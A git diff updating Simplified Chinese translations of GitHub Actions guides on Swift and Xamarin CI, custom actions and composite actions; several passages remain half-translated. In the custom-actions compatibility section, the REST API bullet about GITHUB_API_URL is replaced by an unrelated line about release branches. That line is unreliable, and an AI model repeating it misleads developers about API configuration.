diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-swift.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-swift.md
index 8bbcaef747..5bbebefb32 100644
--- a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-swift.md
+++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-swift.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Swift
-intro: You can create a continuous integration (CI) workflow to build and test your Swift project.
+title: 构建和测试 Swift
+intro: 您可以创建持续集成 (CI) 工作流程来构建和测试您的 Swift 项目。
 redirect_from:
   - /actions/guides/building-and-testing-swift
 versions:
@@ -12,30 +12,30 @@ type: tutorial
 topics:
   - CI
   - Swift
-shortTitle: Build & test Swift
+shortTitle: 构建和测试 Swift
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you how to build and test a Swift package.
+本指南介绍如何构建和测试 Swift 包。
 
 {% ifversion ghae %} To build and test your Swift project on {% data variables.product.prodname_ghe_managed %}, the necessary Swift dependencies are required. {% data reusables.actions.self-hosted-runners-software %}
-{% else %}{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, and the Ubuntu and macOS runners include the dependencies for building Swift packages. For a full list of up-to-date software and the preinstalled versions of Swift and Xcode, see "[About GitHub-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software)."{% endif %}
+{% else %}{% data variables.product.prodname_dotcom %} 托管的运行器带有预装软件的工具缓存，Ubuntu 和 macOS 运行器包括用于构建 Swift 包的依赖项。 有关最新版软件以及 Swift 和 Xcode 预安装版本的完整列表，请参阅“[关于 GitHub 托管的运行器](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software)”。{% endif %}
 
-## Prerequisites
+## 基本要求
 
-You should already be familiar with YAML syntax and how it's used with {% data variables.product.prodname_actions %}. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
+您应该已经熟悉 YAML 语法及其如何与 {% data variables.product.prodname_actions %} 结合使用。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)”。
 
-We recommend that you have a basic understanding of Swift packages. For more information, see "[Swift Packages](https://developer.apple.com/documentation/swift_packages)" in the Apple developer documentation.
+我们建议您对 Swift 包有基本的了解。 更多信息请参阅 Apple 开发者文档中的“[Swift 包](https://developer.apple.com/documentation/swift_packages)”。
 
-## Starting with the Swift workflow template
+## Using the Swift starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a Swift workflow template that should work for most Swift projects, and this guide includes examples that show you how to customize this template. For more information, see the [Swift workflow template](https://github.com/actions/starter-workflows/blob/main/ci/swift.yml).
+{% data variables.product.prodname_dotcom %} provides a Swift starter workflow that should work for most Swift projects, and this guide includes examples that show you how to customize this starter workflow. For more information, see the [Swift starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/swift.yml).
 
-To get started quickly, add the template to the `.github/workflows` directory of your repository.
+To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository.
 
 {% raw %}
 ```yaml{:copy}
@@ -57,17 +57,17 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a Swift version
+## 指定 Swift 版本
 
-To use a specific preinstalled version of Swift on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `fwal/setup-swift` action. This action finds a specific version of Swift from the tools cache on the runner and adds the necessary binaries to `PATH`. These changes will persist for the remainder of a job. For more information, see the [`fwal/setup-swift`](https://github.com/marketplace/actions/setup-swift) action.
+要在 {% data variables.product.prodname_dotcom %} 托管的运行器上使用特定的预安装 Swift 版本，请使用 `fwal/setup-swift` 操作。 此操作从运行器上的工具缓存中查找特定版本的 Swift，并将必要的二进制文件添加到 `PATH`。 这些更改将持续用于作业的其余部分。 更多信息请参阅 [`fwal/setup-swift`](https://github.com/marketplace/actions/setup-swift) 操作。
 
-If you are using a self-hosted runner, you must install your desired Swift versions and add them to `PATH`.
+如果使用自托管运行器，则必须安装所需的 Swift 版本并将它们添加到 `PATH`。
 
-The examples below demonstrate using the `fwal/setup-swift` action.
+下面的示例演示了如何使用 `fwal/setup-swift` 操作。
 
-### Using multiple Swift versions
+### 使用多个 Swift 版本
 
-You can configure your job to use a multiple versions of Swift in a build matrix.
+您可以将作业配置为在构建矩阵中使用多个版本的 Swift。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -95,9 +95,9 @@ jobs:
         run: swift test
 ```
 
-### Using a single specific Swift version
+### 使用单个特定的 Swift 版本
 
-You can configure your job to use a single specific version of Swift, such as `5.3.3`.
+您可以将作业配置为使用单个特定版本的 Swift，例如 `5.3.3`。
 
 {% raw %}
 ```yaml{:copy}
@@ -110,9 +110,9 @@ steps:
 ```
 {% endraw %}
 
-## Building and testing your code
+## 构建和测试代码
 
-You can use the same commands that you use locally to build and test your code using Swift. This example demonstrates how to use `swift build` and `swift test` in a job:
+您可以使用与本地相同的命令来使用 Swift 构建和测试代码。 此示例演示如何在作业中使用 `swift build` 和 `swift test`：
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
index 312c10753e..c4cfb2eafa 100644
--- a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
+++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-xamarin-applications.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Xamarin applications
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Xamarin application.
+title: 构建和测试 Xamarin 应用程序
+intro: 您可以在 GitHub Actions 中创建持续集成 (CI) 工作流程，以构建和测试 Xamarin 应用程序。
 redirect_from:
   - /actions/guides/building-and-testing-xamarin-applications
 versions:
@@ -16,34 +16,34 @@ topics:
   - Xamarin.Android
   - Android
   - iOS
-shortTitle: Build & test Xamarin apps
+shortTitle: 构建和测试 Xamarin 应用程序
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Xamarin project. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy.
+本指南介绍如何为 Xamarin 项目创建执行持续集成 (CI) 的工作流程。 您创建的工作流程将允许您查看拉取请求提交何时会在默认分支上导致构建或测试失败； 这个方法可帮助确保您的代码始终是健康的。
 
-For a full list of available Xamarin SDK versions on the {% data variables.product.prodname_actions %}-hosted macOS runners, see the documentation:
+在 {% data variables.product.prodname_actions %} 托管的 macOS 运行器上有可用的 Xamarin SDK 版本的完整列表，请参阅文档：
 
 * [macOS 10.15](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-10.15-Readme.md#xamarin-bundles)
 * [macOS 11](https://github.com/actions/virtual-environments/blob/main/images/macos/macos-11-Readme.md#xamarin-bundles)
 
 {% data reusables.github-actions.macos-runner-preview %}
 
-## Prerequisites
+## 基本要求
 
-We recommend that you have a basic understanding of Xamarin, .NET Core SDK, YAML, workflow configuration options, and how to create a workflow file. For more information, see:
+建议基本了解 Xamarin、.NET Core SDK、YAML、工作流程配置选项以及如何创建工作流程文件。 更多信息请参阅：
 
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Getting started with .NET](https://dotnet.microsoft.com/learn)"
-- "[Learn Xamarin](https://dotnet.microsoft.com/learn/xamarin)"
+- "[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
+- "[开始使用 .NET](https://dotnet.microsoft.com/learn)"
+- "[了解 Xamarin](https://dotnet.microsoft.com/learn/xamarin)"
 
-## Building Xamarin.iOS apps
+## 构建 Xamarin.iOS 应用程序
 
-The example below demonstrates how to change the default Xamarin SDK versions and build a Xamarin.iOS application.
+下面的示例演示如何更改默认 Xamarin SDK 版本并构建 Xamarin.iOS 应用程序。
 
 {% raw %}
 ```yaml
@@ -61,7 +61,7 @@ jobs:
     - name: Set default Xamarin SDK versions
       run: |
         $VM_ASSETS/select-xamarin-sdk-v2.sh --mono=6.12 --ios=14.10
-    
+
     - name: Set default Xcode 12.3
       run: |
         XCODE_ROOT=/Applications/Xcode_12.3.0.app
@@ -81,9 +81,9 @@ jobs:
 ```
 {% endraw %}
 
-## Building Xamarin.Android apps
+## 构建 Xamarin.Android 应用程序
 
-The example below demonstrates how to change default Xamarin SDK versions and build a Xamarin.Android application.
+下面的示例演示如何更改默认 Xamarin SDK 版本并构建 Xamarin.Android 应用程序。
 
 {% raw %}
 ```yaml
@@ -115,8 +115,8 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a .NET version
+## 指定 .NET 版本
 
-To use a preinstalled version of the .NET Core SDK on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-dotnet` action. This action finds a specific version of .NET from the tools cache on each runner, and adds the necessary binaries to `PATH`. These changes will persist for the remainder of the job.
- 
-The `setup-dotnet` action is the recommended way of using .NET with {% data variables.product.prodname_actions %}, because it ensures consistent behavior across different runners and different versions of .NET. If you are using a self-hosted runner, you must install .NET and add it to `PATH`. For more information, see the [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk) action.
+要在 {% data variables.product.prodname_dotcom %} 托管的运行器上使用预安装的 .NET Core SDK 版本，请使用 `setup-dotnet` 操作。 此操作从每个运行器上的工具缓存中查找特定版本的 .NET，并将必要的二进制文件添加到 `PATH`。 这些更改将持续用于作业的其余部分。
+
+`setup-dotnet` 操作是 .NET 与 {% data variables.product.prodname_actions %} 结合使用时的推荐方式，因为它能确保不同运行器和不同版本的 .NET 行为一致。 如果使用自托管运行器，则必须安装 .NET 并将其添加到 `PATH`。 更多信息请参阅 [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk) 操作。
diff --git a/translations/zh-CN/content/actions/creating-actions/about-custom-actions.md b/translations/zh-CN/content/actions/creating-actions/about-custom-actions.md
index 00fecf9091..f5799198dd 100644
--- a/translations/zh-CN/content/actions/creating-actions/about-custom-actions.md
+++ b/translations/zh-CN/content/actions/creating-actions/about-custom-actions.md
@@ -1,6 +1,6 @@
 ---
 title: About custom actions
-intro: 'Actions are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community.'
+intro: '操作是可以组合来创建作业和自定义工作流程的单个任务。 您可以创建自己的操作，或者使用和自定义 {% data variables.product.prodname_dotcom %} 社区分享的操作。'
 redirect_from:
   - /articles/about-actions
   - /github/automating-your-workflow-with-github-actions/about-actions
@@ -23,149 +23,149 @@ topics:
 
 ## About custom actions
 
-You can create actions by writing custom code that interacts with your repository in any way you'd like, including integrating with {% data variables.product.prodname_dotcom %}'s APIs and any publicly available third-party API. For example, an action can publish npm modules, send SMS alerts when urgent issues are created, or deploy production-ready code.
+您可以编写自定义代码来创建操作，以您喜欢的方式与仓库交互，包括使用 {% data variables.product.prodname_dotcom %} 的 API 以及任何公开的第三方 API 进行交互。 例如，操作可以发布 npm 模块、在创建紧急议题时发送短信提醒，或者部署可用于生产的代码。
 
 {% ifversion fpt or ghec %}
-You can write your own actions to use in your workflow or share the actions you build with the {% data variables.product.prodname_dotcom %} community. To share actions you've built, your repository must be public.
+您可以编写自己的操作以用于工作流程，或者与 {% data variables.product.prodname_dotcom %} 社区共享您创建的操作。 要共享您创建的操作，您的仓库必须是公共的。
 {% endif %}
 
-Actions can run directly on a machine or in a Docker container. You can define an action's inputs, outputs, and environment variables.
+操作可以直接在计算机或 Docker 容器中运行。 您可以定义操作的输入、输出和环境变量。
 
-## Types of actions
+## 操作类型
 
-You can build Docker container and JavaScript actions. Actions require a metadata file to define the inputs, outputs and main entrypoint for your action. The metadata filename must be either `action.yml` or `action.yaml`. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions)."
+您可以创建 Docker 容器和 JavaScript 操作。 操作需要元数据文件来定义操作的输入、输出和主要进入点。 元数据文件名必须是 `action.yml` 或 `action.yaml`。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的元数据语法](/articles/metadata-syntax-for-github-actions)”。
 
-| Type | Operating system |
-| ---- | ------------------- |
-| Docker container | Linux |
-| JavaScript | Linux, macOS, Windows |
-| Composite Actions | Linux, macOS, Windows |
+| 类型         | 操作系统                |
+| ---------- | ------------------- |
+| Docker 容器  | Linux               |
+| JavaScript | Linux、macOS、Windows |
+| 复合操作       | Linux、macOS、Windows |
 
-### Docker container actions
+### Docker 容器操作
 
-Docker containers package the environment with the {% data variables.product.prodname_actions %} code. This creates a more consistent and reliable unit of work because the consumer of the action does not need to worry about the tools or dependencies.
+Docker 容器使用 {% data variables.product.prodname_actions %} 代码封装环境。 这会创建更加一致、可靠的工作单位，因为操作的使用者不需要担心工具或依赖项。
 
-A Docker container allows you to use specific versions of an operating system, dependencies, tools, and code. For actions that must run in a specific environment configuration, Docker is an ideal option because you can customize the operating system and tools. Because of the latency to build and retrieve the container, Docker container actions are slower than JavaScript actions.
+Docker 容器允许使用特定版本的操作系统、依赖项、工具和代码。 对于必须在特定环境配置中运行的操作，Docker 是一个理想的选择，因为您可以自定义操作系统和工具。 由于创建和检索容器的延时，Docker 容器操作慢于 JavaScript 操作。
 
-Docker container actions can only execute on runners with a Linux operating system. {% data reusables.github-actions.self-hosted-runner-reqs-docker %}
+Docker 容器操作只能在使用 Linux 操作系统的运行器上执行。 {% data reusables.github-actions.self-hosted-runner-reqs-docker %}
 
-### JavaScript actions
+### JavaScript 操作
 
-JavaScript actions can run directly on a runner machine, and separate the action code from the environment used to run the code. Using a JavaScript action simplifies the action code and executes faster than a Docker container action.
+JavaScript 操作可以直接在运行器计算机上运行，并将操作代码与用于运行代码的环境分开。 使用 JavaScript 操作可简化操作代码，执行速度快于 Docker 容器操作。
 
 {% data reusables.github-actions.pure-javascript %}
 
-If you're developing a Node.js project, the {% data variables.product.prodname_actions %} Toolkit provides packages that you can use in your project to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
+如果您正在开发 Node.js 项目，{% data variables.product.prodname_actions %} 工具包提供可用于项目中加速开发的软件包。 更多信息请参阅 [actions/toolkit](https://github.com/actions/toolkit) 仓库。
 
-### Composite Actions
+### 复合操作
 
-A _composite_ action allows you to combine multiple workflow steps within one action. For example, you can use this feature to bundle together multiple run commands into an action, and then have a workflow that executes the bundled commands as a single step using that action. To see an example, check out "[Creating a composite action](/actions/creating-actions/creating-a-composite-action)".
+_复合_操作允许您在一个操作中组合多个工作流程步骤。 例如，您可以使用此功能将多个运行命令捆绑到一个操作中，然后获得使用该操作在单一步骤中执行捆绑命令的工作流程。 要看到示例，请参阅“[创建复合操作](/actions/creating-actions/creating-a-composite-action)”。
 
-## Choosing a location for your action
+## 选择操作的位置
 
-If you're developing an action for other people to use, we recommend keeping the action in its own repository instead of bundling it with other application code. This allows you to version, track, and release the action just like any other software.
+如果是开发供其他人使用的操作，我们建议将该操作保持在其自己的仓库中，而不是与其他应用程序代码一起捆绑。 这可让您管理操作版本以及跟踪和发行操作，就像任何其他软件一样。
 
 {% ifversion fpt or ghec %}
-Storing an action in its own repository makes it easier for the {% data variables.product.prodname_dotcom %} community to discover the action, narrows the scope of the code base for developers fixing issues and extending the action, and decouples the action's versioning from the versioning of other application code.
+将操作存储在其自己的仓库中更便于 {% data variables.product.prodname_dotcom %} 社区发现操作，缩小代码库范围以便开发者修复问题和扩展操作，以及从其他应用程序代码的版本解耦操作的版本。
 {% endif %}
 
-{% ifversion fpt or ghec %}If you're building an action that you don't plan to make available to the public, you {% else %} You{% endif %} can store the action's files in any location in your repository. If you plan to combine action, workflow, and application code in a single repository, we recommend storing actions in the `.github` directory. For example, `.github/actions/action-a` and `.github/actions/action-b`.
+{% ifversion fpt or ghec %}如果创建不打算公开的操作，您{% else %}您{% endif %}可以将操作的文件存储在您的仓库中的任何位置。 如果计划将操作、工作流程和应用程序代码合并到一个仓库中，建议将操作存储在 `.github` 目录中。 例如，`.github/actions/action-a` 和 `.github/actions/action-b`。
 
-## Compatibility with {% data variables.product.prodname_ghe_server %}
+## 与 {% data variables.product.prodname_ghe_server %} 的兼容性
 
 To ensure that your action is compatible with {% data variables.product.prodname_ghe_server %}, you should make sure that you do not use any hard-coded references to {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API URLs. You should instead use environment variables to refer to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API:
 
-- For the REST API, use the `GITHUB_API_URL` environment variable.
-- For GraphQL, use the `GITHUB_GRAPHQL_URL` environment variable.
+- 创建发行版标记（例如，`v1.0.2`）之前，在发行版分支（如 `release/v1`）上创建发行版并进行验证。
+- 对于 GraphQL，使用 `GITHUB_GRAPHQL_URL` 环境变量。
 
-For more information, see "[Default environment variables](/actions/configuring-and-managing-workflows/using-environment-variables#default-environment-variables)."
+更多信息请参阅“[默认环境变量](/actions/configuring-and-managing-workflows/using-environment-variables#default-environment-variables)”。
 
-## Using release management for actions
+## 对操作使用发行版管理
 
-This section explains how you can use release management to distribute updates to your actions in a predictable way.
+本节介绍如何使用发行版管理以可预测的方式将更新分发给操作。
 
-### Good practices for release management
+### 发行版管理的良好做法
 
-If you're developing an action for other people to use, we recommend using release management to control how you distribute updates. Users can expect an action's major version to include necessary critical fixes and security patches, while still remaining compatible with their existing workflows. You should consider releasing a new major version whenever your changes affect compatibility.
+如果您正在开发供其他人使用的操作，建议使用发行版管理来控制分发更新的方式。 用户期望操作的主要版本包括必要的关键修补程序和安全补丁，同时仍与其现有工作流程保持兼容。 每当更改影响兼容性时，应考虑发布新的主要版本。
 
-Under this release management approach, users should not be referencing an action's default branch, as it's likely to contain the latest code and consequently might be unstable. Instead, you can recommend that your users specify a major version when using your action, and only direct them to a more specific version if they encounter issues.
+在此发行版管理方法下，用户不应引用操作的默认分支，因为它可能包含最新的代码，因此可能不稳定。 相反地，您可以建议用户在使用您的操作时指定主要版本，并且仅在遇到问题时将其定向到更具体的版本。
 
-To use a specific action version, users can configure their {% data variables.product.prodname_actions %} workflow to target a tag, a commit's SHA, or a branch named for a release.
+要使用特定的操作版本，用户可以配置其 {% data variables.product.prodname_actions %} 工作流程定向标记、 提交的 SHA 或为发行版指定的分支。
 
-### Using tags for release management
+### 使用标记进行发行版管理
 
-We recommend using tags for actions release management. Using this approach, your users can easily distinguish between major and minor versions:
+建议使用标记进行操作发行版管理。 使用这种方法，您的用户可以轻松地区分主要和次要版本：
 
-- Create and validate a release on a release branch (such as `release/v1`) before creating the release tag (for example, `v1.0.2`).
-- Create a release using semantic versioning. For more information, see "[Creating releases](/articles/creating-releases)."
-- Move the major version tag (such as `v1`, `v2`) to point to the Git ref of the current release. For more information, see "[Git basics - tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging)."
-- Introduce a new major version tag (`v2`) for changes that will break existing workflows. For example, changing an action's inputs would be a breaking change.
-- Major versions can be initially released with a `beta` tag to indicate their status, for example, `v2-beta`. The `-beta` tag can then be removed when ready.
+- 创建发行版标记（例如，`v1.0.2`）之前，在发行版分支（如 `release/v1`）上创建发行版并进行验证。
+- 使用语义版本管理创建发行版。 更多信息请参阅“[创建发行版](/articles/creating-releases)”。
+- 移动主要版本标记（如 `v1`、`v2`）以指向当前发行版的 Git 引用。 更多信息请参阅“[Git 基本信息 - 标记](https://git-scm.com/book/en/v2/Git-Basics-Tagging)”。
+- 为将会破坏现有工作流程的更改引入新的主要版本标记标签 (`v2`)。 例如，更改操作的输入就是破坏性的更改。
+- 主要版本最初可以使用 `beta` 标记来发布，从而表明其状态，例如，`v2-beta`。 准备就绪后，可以删除 `-beta` 标记。
 
-This example demonstrates how a user can reference a major release tag:
+此示例演示用户如何引用主要发行版标记：
 
 ```yaml
 steps:
     - uses: actions/javascript-action@v1
 ```
 
-This example demonstrates how a user can reference a specific patch release tag:
+此示例演示用户如何引用特定补丁发行版标记：
 
 ```yaml
 steps:
     - uses: actions/javascript-action@v1.0.1
 ```
 
-### Using branches for release management
+### 使用分支进行发行版管理
 
-If you prefer to use branch names for release management, this example demonstrates how to reference a named branch:
+如果希望使用分支名称进行发行版管理，此示例演示如何引用指定的分支：
 
 ```yaml
 steps:
     - uses: actions/javascript-action@v1-beta
 ```
 
-### Using a commit's SHA for release management
+### 使用提交的 SHA 进行发行版管理
 
-Each Git commit receives a calculated SHA value, which is unique and immutable. Your action's users might prefer to rely on a commit's SHA value, as this approach can be more reliable than specifying a tag, which could be deleted or moved. However, this means that users will not receive further updates made to the action. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}You must use a commit's full SHA value, and not an abbreviated value.{% else %}Using a commit's full SHA value instead of the abbreviated value can help prevent people from using a malicious commit that uses the same abbreviation.{% endif %}
+每个 Git 提交都会收到一个计算出来的 SHA 值，该值是唯一且不可更改的。 您操作的用户可能更喜欢依赖提交的 SHA 值，因为此方法会比指定可删除或移动的标记更可靠。 但是，这意味着用户将不会收到对该操作所做的进一步更新。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}您必须使用提交的完整 SHA 值，而不是缩写值。{% else %}使用提交的完整 SHA 值而不使用缩写值有助于防止他人使用相同缩写值进行恶意提交。{% endif %}
 
 ```yaml
 steps:
     - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89
 ```
 
-## Creating a README file for your action
+## 为操作创建自述文件
 
-We recommend creating a README file to help people learn how to use your action. You can include this information in your `README.md`:
+如果计划公开分享您的操作，建议创建自述文件以帮助人们了解如何使用您的操作。 您可以将此信息包含在 `README.md` 中：
 
-- A detailed description of what the action does
-- Required input and output arguments
-- Optional input and output arguments
-- Secrets the action uses
-- Environment variables the action uses
-- An example of how to use your action in a workflow
+- 操作的详细描述
+- 必要的输入和输出变量
+- 可选的输入和输出变量
+- 操作使用的密码
+- 操作使用的环境变量
+- 如何在工作流程中使用操作的示例
 
-## Comparing {% data variables.product.prodname_actions %} to {% data variables.product.prodname_github_apps %}
+## 比较 {% data variables.product.prodname_actions %}与 {% data variables.product.prodname_github_apps %}
 
-{% data variables.product.prodname_marketplace %} offers tools to improve your workflow. Understanding the differences and the benefits of each tool will allow you to select the best tool for your job. For more information about building apps, see "[About apps](/apps/about-apps/)."
+{% data variables.product.prodname_marketplace %} 提供用于改进工作流程的工具。 了解每种工具的差异和优势将使您能够选择最适合自己作业的工具。 有关构建应用程序的更多信息，请参阅"[关于应用程序](/apps/about-apps/)。
 
-### Strengths of GitHub Actions and GitHub Apps
+### GitHub Actions 和 GitHub 应用程序的设置
 
-While both {% data variables.product.prodname_actions %} and {% data variables.product.prodname_github_apps %} provide ways to build automation and workflow tools, they each have strengths that make them useful in different ways.
+尽管 {% data variables.product.prodname_actions %} 和 {% data variables.product.prodname_github_apps %} 都提供了构建自动化和工作流程工具的方法，但它们各有优点，使其以不同的方式发挥作用。
 
-{% data variables.product.prodname_github_apps %}:
-* Run persistently and can react to events quickly.
-* Work great when persistent data is needed.
-* Work best with API requests that aren't time consuming.
-* Run on a server or compute infrastructure that you provide.
+{% data variables.product.prodname_github_apps %}：
+* 持续运行并且能够对事件迅速做出反应。
+* 需要持续性数据时效果非常好。
+* 适合处理不费时的 API 请求。
+* 在您提供的服务器或计算基础架构上运行
 
-{% data variables.product.prodname_actions %}:
-* Provide automation that can perform continuous integration and continuous deployment.
-* Can run directly on runner machines or in Docker containers.
-* Can include access to a clone of your repository, enabling deployment and publishing tools, code formatters, and command line tools to access your code.
-* Don't require you to deploy code or serve an app.
-* Have a simple interface to create and use secrets, which enables actions to interact with third-party services without needing to store the credentials of the person using the action.
+{% data variables.product.prodname_actions %}：
+* 提供可执行持续集成和持续部署的自动化。
+* 可以直接在运行器计算机或 Docker 容器中运行。
+* 可以包括访问仓库克隆的权限，使部署和发布工具、代码格式化程序和命令行工具能够访问您的代码。
+* 不需要您部署代码或提供应用程序。
+* 具有创建和使用密码的简单界面，该界面使操作能够与第三方服务进行交互，而无需存储使用该操作人员的凭据。
 
-## Further reading
+## 延伸阅读
 
-- "[Development tools for {% data variables.product.prodname_actions %}](/articles/development-tools-for-github-actions)"
+- "[{% data variables.product.prodname_actions %} 的开发工具](/articles/development-tools-for-github-actions)"
diff --git a/translations/zh-CN/content/actions/creating-actions/creating-a-composite-action.md b/translations/zh-CN/content/actions/creating-actions/creating-a-composite-action.md
index 393112d951..a321ce6c56 100644
--- a/translations/zh-CN/content/actions/creating-actions/creating-a-composite-action.md
+++ b/translations/zh-CN/content/actions/creating-actions/creating-a-composite-action.md
@@ -17,23 +17,23 @@ shortTitle: Composite action
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-In this guide, you'll learn about the basic components needed to create and use a packaged composite action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" and then "Goodbye",  or if you provide a custom name, it prints "Hello [who-to-greet]" and then "Goodbye". The action also maps a random number to the `random-number` output variable, and runs a script named `goodbye.sh`.
+In this guide, you'll learn about the basic components needed to create and use a packaged composite action. 本指南的重点是打包操作所需的组件，因此很少讲操作代码的功能。 该操作将依次打印 "Hello World" 和 "Goodbye"，如果您提供自定义名称，则将依次打印 "Hello [who-to-greet]" 和 "Goodbye"。 该操作还将随机数映射到 `random-number` 输出变量，并运行名为 `goodbye.sh` 的脚本。
 
 Once you complete this project, you should understand how to build your own composite action and test it in a workflow.
 
 {% data reusables.github-actions.context-injection-warning %}
 
-## Prerequisites
+## 基本要求
 
 Before you begin, you'll create a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
 
-1. Create a new public repository on {% data variables.product.product_location %}. You can choose any repository name, or use the following `hello-world-composite-action` example. You can add these files after your project has been pushed to {% data variables.product.product_name %}. For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+1. 在 {% data variables.product.product_location %} 上创建公共仓库 You can choose any repository name, or use the following `hello-world-composite-action` example. 您可以在项目推送到 {% data variables.product.product_name %} 之后添加这些文件。 更多信息请参阅“[创建新仓库](/articles/creating-a-new-repository)”。
 
-1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+1. 将仓库克隆到计算机。 更多信息请参阅“[克隆仓库](/articles/cloning-a-repository)”。
 
-1. From your terminal, change directories into your new repository.
+1. 从您的终端，将目录更改为新仓库。
 
   ```shell
   cd hello-world-composite-action
@@ -45,20 +45,20 @@ Before you begin, you'll create a repository on {% ifversion ghae %}{% data vari
   echo "Goodbye"
   ```
 
-3. From your terminal, make `goodbye.sh` executable.
+3. 从您的终端创建 `goodbye.sh` 可执行文件。
 
   ```shell
   chmod +x goodbye.sh
   ```
 
-1. From your terminal, check in your `goodbye.sh` file.
+1. 从终端检入 `goodbye.sh` 文件。
   ```shell
   git add goodbye.sh
   git commit -m "Add goodbye script"
   git push
   ```
 
-## Creating an action metadata file
+## 创建操作元数据文件
 
 1. In the `hello-world-composite-action` repository, create a new file called `action.yml` and add the following example code. For more information about this syntax, see "[`runs` for a composite actions](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-composite-actions)".
 
@@ -88,13 +88,13 @@ Before you begin, you'll create a repository on {% ifversion ghae %}{% data vari
           shell: bash
     ```
     {% endraw %}
-  This file defines the `who-to-greet` input, maps the random generated number to the `random-number` output variable, and runs the `goodbye.sh` script. It also tells the runner how to execute the composite action.
+  此文件定义 `who-greet` 输入，将随机生成的数字映射到 `random-number` 输出变量，并运行 `goodbye.sh` 脚本。 It also tells the runner how to execute the composite action.
 
   For more information about managing outputs, see "[`outputs` for a composite action](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-composite-actions)".
 
-  For more information about how to use `github.action_path`, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
+  有关如何使用 `github.action_path` 的更多信息，请参阅“[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)”。
 
-1. From your terminal, check in your `action.yml` file.
+1. 从终端检入 `action.yml` 文件。
 
   ```shell
   git add action.yml
@@ -102,18 +102,18 @@ Before you begin, you'll create a repository on {% ifversion ghae %}{% data vari
   git push
   ```
 
-1. From your terminal, add a tag. This example uses a tag called `v1`. For more information, see "[About actions](/actions/creating-actions/about-actions#using-release-management-for-actions)."
+1. 从终端添加标记。 此示例使用名为 `v1` 的标记。 更多信息请参阅“[关于操作](/actions/creating-actions/about-actions#using-release-management-for-actions)”。
 
   ```shell
   git tag -a -m "Description of this release" v1
   git push --follow-tags
   ```
 
-## Testing out your action in a workflow
+## 在工作流程中测试您的操作
 
-The following workflow code uses the completed hello world action that you made in "[Creating an action metadata file](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file)".
+以下工作流程代码使用您在“[创建操作元数据文件](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file)”中设置的已完成 hello world 操作。
 
-Copy the workflow code into a `.github/workflows/main.yml` file in another repository, but replace `actions/hello-world-composite-action@v1` with the repository and tag you created. You can also replace the `who-to-greet` input with your name.
+Copy the workflow code into a `.github/workflows/main.yml` file in another repository, but replace `actions/hello-world-composite-action@v1` with the repository and tag you created. 您还可以将 `who-to-greet` 输入替换为您的名称。
 
 {% raw %}
